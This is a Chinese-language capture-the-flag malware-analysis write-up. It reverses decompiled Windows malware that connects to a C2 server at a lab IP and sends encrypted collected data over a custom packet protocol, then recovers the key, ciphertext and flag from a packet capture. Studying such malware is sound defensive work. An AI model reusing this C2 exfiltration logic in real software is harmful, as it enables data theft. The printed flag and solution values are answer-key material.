Simple Reverse - 0x23(2023 Lab - WinMalware - Exfiltrate)
Description
請根據 next stage payload 的行為,分析 capture.pcapng 中的封包,找出並解密被滲出/傳送到 C2 server 的資料。
Background
Source Code
- exfiltrate
:::spoiler source
1
2
3
4
5
6
7
8
9void __fastcall exfiltrate(PUCHAR pbInput) { __int64 s[2]; // [rsp+28h] [rbp-10h] BYREF connect_to_c2(s); send_collected_data_to_c2(s[0], pbInput); shutdown(s[0], 1); closesocket(s[0]); }
:::
- connect_to_c2
:::spoiler source
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16void __fastcall connect_to_c2(unsigned __int64 *a1) { unsigned __int64 v2; // rax struct sockaddr name; // [rsp+20h] [rbp-1B8h] BYREF struct WSAData WSAData; // [rsp+30h] [rbp-1A8h] BYREF if ( !WSAStartup(0x202u, &WSAData) ) { *&name.sa_data[2] = 168470720; *name.sa_data = htons(0x2BB3u); name.sa_family = 2; v2 = socket(2, 1, 6); *a1 = v2; connect(v2, &name, 16); } }
:::
- send_collected_data_to_c2
:::spoiler source
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64void __fastcall send_collected_data_to_c2(SOCKET s, PUCHAR pbInput) { char *v4; // rbx int v5; // esi int i; // eax char v7; // al int j; // ecx int v9; // eax v4 = malloc(0x4Cui64); *v4 = 0x11877811; *(v4 + 1) = 4; *(v4 + 2) = 0; if ( send(s, v4, 76, 0) > 0xB ) { v5 = 0; while ( v5 <= 2 ) { if ( recv(s, v4, 76, 0) > 0xB && *v4 == 0x11877811 ) { v9 = *(v4 + 2); if ( v9 ) { switch ( v9 ) { case 1: *v4 = 0x11877811; *(v4 + 1) = 4; *(v4 + 2) = 1; encrypt_key = (v4 + 12); encrypt_data(pbInput); for ( i = 2; i <= 23; ++i ) v4[i + 12] += v4[i + 11] - v4[i + 10]; break; case 2: *v4 = 0x11877811; *(v4 + 1) = 28; *(v4 + 2) = 2; memcpy_s(v4 + 12, 0x18ui64, cipher, 0x18ui64); break; case 3: goto LABEL_20; } } else { *v4 = 0x11877811; *(v4 + 1) = 4; *(v4 + 2) = 0; } for ( j = 0; j <= 39; ++j ) { v7 = v4[j + 36] + v4[43] + v4[49] - v4[67]; v4[j + 36] = v7; v4[j + 36] = v4[54] - (v4[61] + v4[69]) + v7; } send(s, v4, 76, 0); ++v5; } } LABEL_20: free(v4); } }
:::
Recon
-
connet_to_c2
目標是取得c2 server的IP和port number- 先看到#12的socket function,他代表的意思是利用IPv4並且TCP的protocol進行溝通,相關的數值說明都在MSDN,可以用前面教到的用m指令改變已知的constant名稱$\to$
v2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
- 接著看到connect function中的
&name
,IDA原本解析成sockaddr,sockaddr是一種通用的結構格式,所以IDA解析出來的東西也沒有問題,不過如果是IPv4又是乙太網路的傳輸,會比較建議把結構改成==sockaddr_in==,這一篇探討了兩者的區別(其實就只是把sockaddr原本的結構擴展而已),這樣的話整體分析會更好 :::spoiler 解析後1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16void __fastcall connect_to_c2(unsigned __int64 *a1) { unsigned __int64 v2; // rax struct sockaddr_in name; // [rsp+20h] [rbp-1B8h] BYREF struct WSAData WSAData; // [rsp+30h] [rbp-1A8h] BYREF if ( !WSAStartup(0x202u, &WSAData) ) { name.sin_addr.S_un.S_addr = 0xA0AA8C0; // IP: 192.168.10.10 name.sin_port = htons(11187u); // Port No.: 11187 name.sin_family = AF_INET; v2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); *a1 = v2; connect(v2, &name, 16); } }
::: :::info IP: 0xA0AA8C0 $\to$
192.168.10.10
(little endian轉十進位) Port:11187
sin.family: IPv4 Protocol: TCP :::
- 先看到#12的socket function,他代表的意思是利用IPv4並且TCP的protocol進行溝通,相關的數值說明都在MSDN,可以用前面教到的用m指令改變已知的constant名稱$\to$
-
send_collected_data_to_c2
- 先切分程式碼的功能
有時候通靈不一定很準,所以要適時的回頭檢查自己的猜測
- 前四行初始化的階段(malloc 0x4c然後塞三個dword),應該是作者自定義的結構,可以利用Structures,自定義一個新的結構,大小就是0x4C,然後前三個可以定義為dd,並且把v4的結構改成packet(按Y)
- 各種rename
- field_0看起來像是一個magic bytes,因為一開始附值之後,傳送過去server,再接收回來的packet也是有做驗證的動作,所以看起來是一個verification magic
- field_8看起來就是接收來自server下達的command
- field_C就比較多元,在case 1的時候是當作承接server給的encryption key(大小是8個bytes),但在case 2是當作加密的cipher(大小是0x18個bytes),所以我取名
enc_key_or_data
,另外大小是0x18(可以從memcpy的大小看出來),所以可以按Y改變型別成char[0x18]
:::info 目前整體的流程:::
- 分析pcap
這一部就直接對照著講義上截圖或是剛剛分析的封包格式就可以知道哪一個是key哪一個是cipher
Key:
f0 c7 d3 0e 7f 2c 15 ba
Cipher:43 60 5b 5f 4e ba 9f 9e e3 78 6f 55 cb 81 24 fa e7 bf 0d 1b 3c 24 b7 4e
接下來就可以直接用cipherchef的線上功能decrypt其中的內容
- 先切分程式碼的功能
:::success
Flag: FLAG{C2_cU540m_Pr0t0C01}
:::